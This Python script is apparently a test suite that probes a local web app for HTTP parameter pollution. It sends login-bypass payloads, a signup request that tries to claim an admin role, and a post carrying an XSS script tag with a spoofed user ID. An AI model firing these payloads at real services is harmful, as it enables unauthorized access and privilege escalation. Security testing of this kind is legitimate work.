#!/usr/bin/env python3
import requests
import json
from itertools import combinations

class ParameterPollutionTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
    
    def test_login_pollution(self):
        """Test parameter pollution in login endpoint"""
        # Test different pollution techniques
        techniques = [
            # Array method
            {
                "email": ["[email protected]", "[email protected]"],
                "password": ["userpass", "password123"]
            },
            # Duplicate key method (JSON)
            '{"email":"[email protected]","email":"[email protected]","password":"userpass","password":"password123"}',
        ]
        
        for i, technique in enumerate(techniques):
            print(f"Testing technique {i+1}")
            
            if isinstance(technique, str):
                # Raw JSON string
                response = self.session.post(
                    f"{self.base_url}/auth/login",
                    data=technique,
                    headers={'Content-Type': 'application/json'}
                )
            else:
                # Dictionary
                response = self.session.post(
                    f"{self.base_url}/auth/login",
                    json=technique
                )
            
            if response.status_code == 200 and 'token' in response.text:
                print(f"✓ Pollution successful with technique {i+1}")
                return response.json().get('token')
            else:
                print(f"✗ Technique {i+1} failed")
        
        return None
    
    def test_registration_pollution(self):
        """Test privilege escalation via registration pollution"""
        pollution_data = {
            "email": f"polluted_{int(__import__('time').time())}@test.com",
            "password": ["UserPass123!", "AdminPass123!"],
            "role": ["user", "admin"]  # Try to get admin role
        }
        
        response = self.session.post(
            f"{self.base_url}/auth/signup",
            json=pollution_data
        )
        
        if response.status_code == 200:
            print("✓ Registration pollution may be successful")
            # Try to login with the polluted account
            login_data = {
                "email": pollution_data["email"],
                "password": pollution_data["password"][-1]  # Use last password
            }
            
            login_response = self.session.post(
                f"{self.base_url}/auth/login",
                json=login_data
            )
            
            if 'token' in login_response.text:
                return login_response.json().get('token')
        
        return None
    
    def test_post_pollution(self, auth_token):
        """Test content pollution in post creation"""
        if not auth_token:
            return False
        
        headers = {'Authorization': f'Bearer {auth_token}'}
        pollution_data = {
            "content": ["Normal content", "<script>alert('Polluted XSS')</script>"],
            "userId": [1, 999]  # Try to spoof user ID
        }
        
        response = self.session.post(
            f"{self.base_url}/posts/create",
            json=pollution_data,
            headers=headers
        )
        
        return response.status_code == 201
    
    def run_all_tests(self):
        """Run comprehensive parameter pollution tests"""
        print("=== Parameter Pollution Test Suite ===")
        
        # Test authentication pollution
        token = self.test_login_pollution()
        if token:
            print(f"Login pollution successful. Token: {token[:20]}...")
        
        # Test registration pollution  
        reg_token = self.test_registration_pollution()
        if reg_token:
            print(f"Registration pollution successful. Token: {reg_token[:20]}...")
        
        # Test post pollution
        test_token = token or reg_token
        if test_token:
            post_success = self.test_post_pollution(test_token)
            print(f"Post pollution: {'✓ Successful' if post_success else '✗ Failed'}")
        
        print("=== Test Complete ===")

# Example usage
tester = ParameterPollutionTester("http://localhost:8080")
tester.run_all_tests()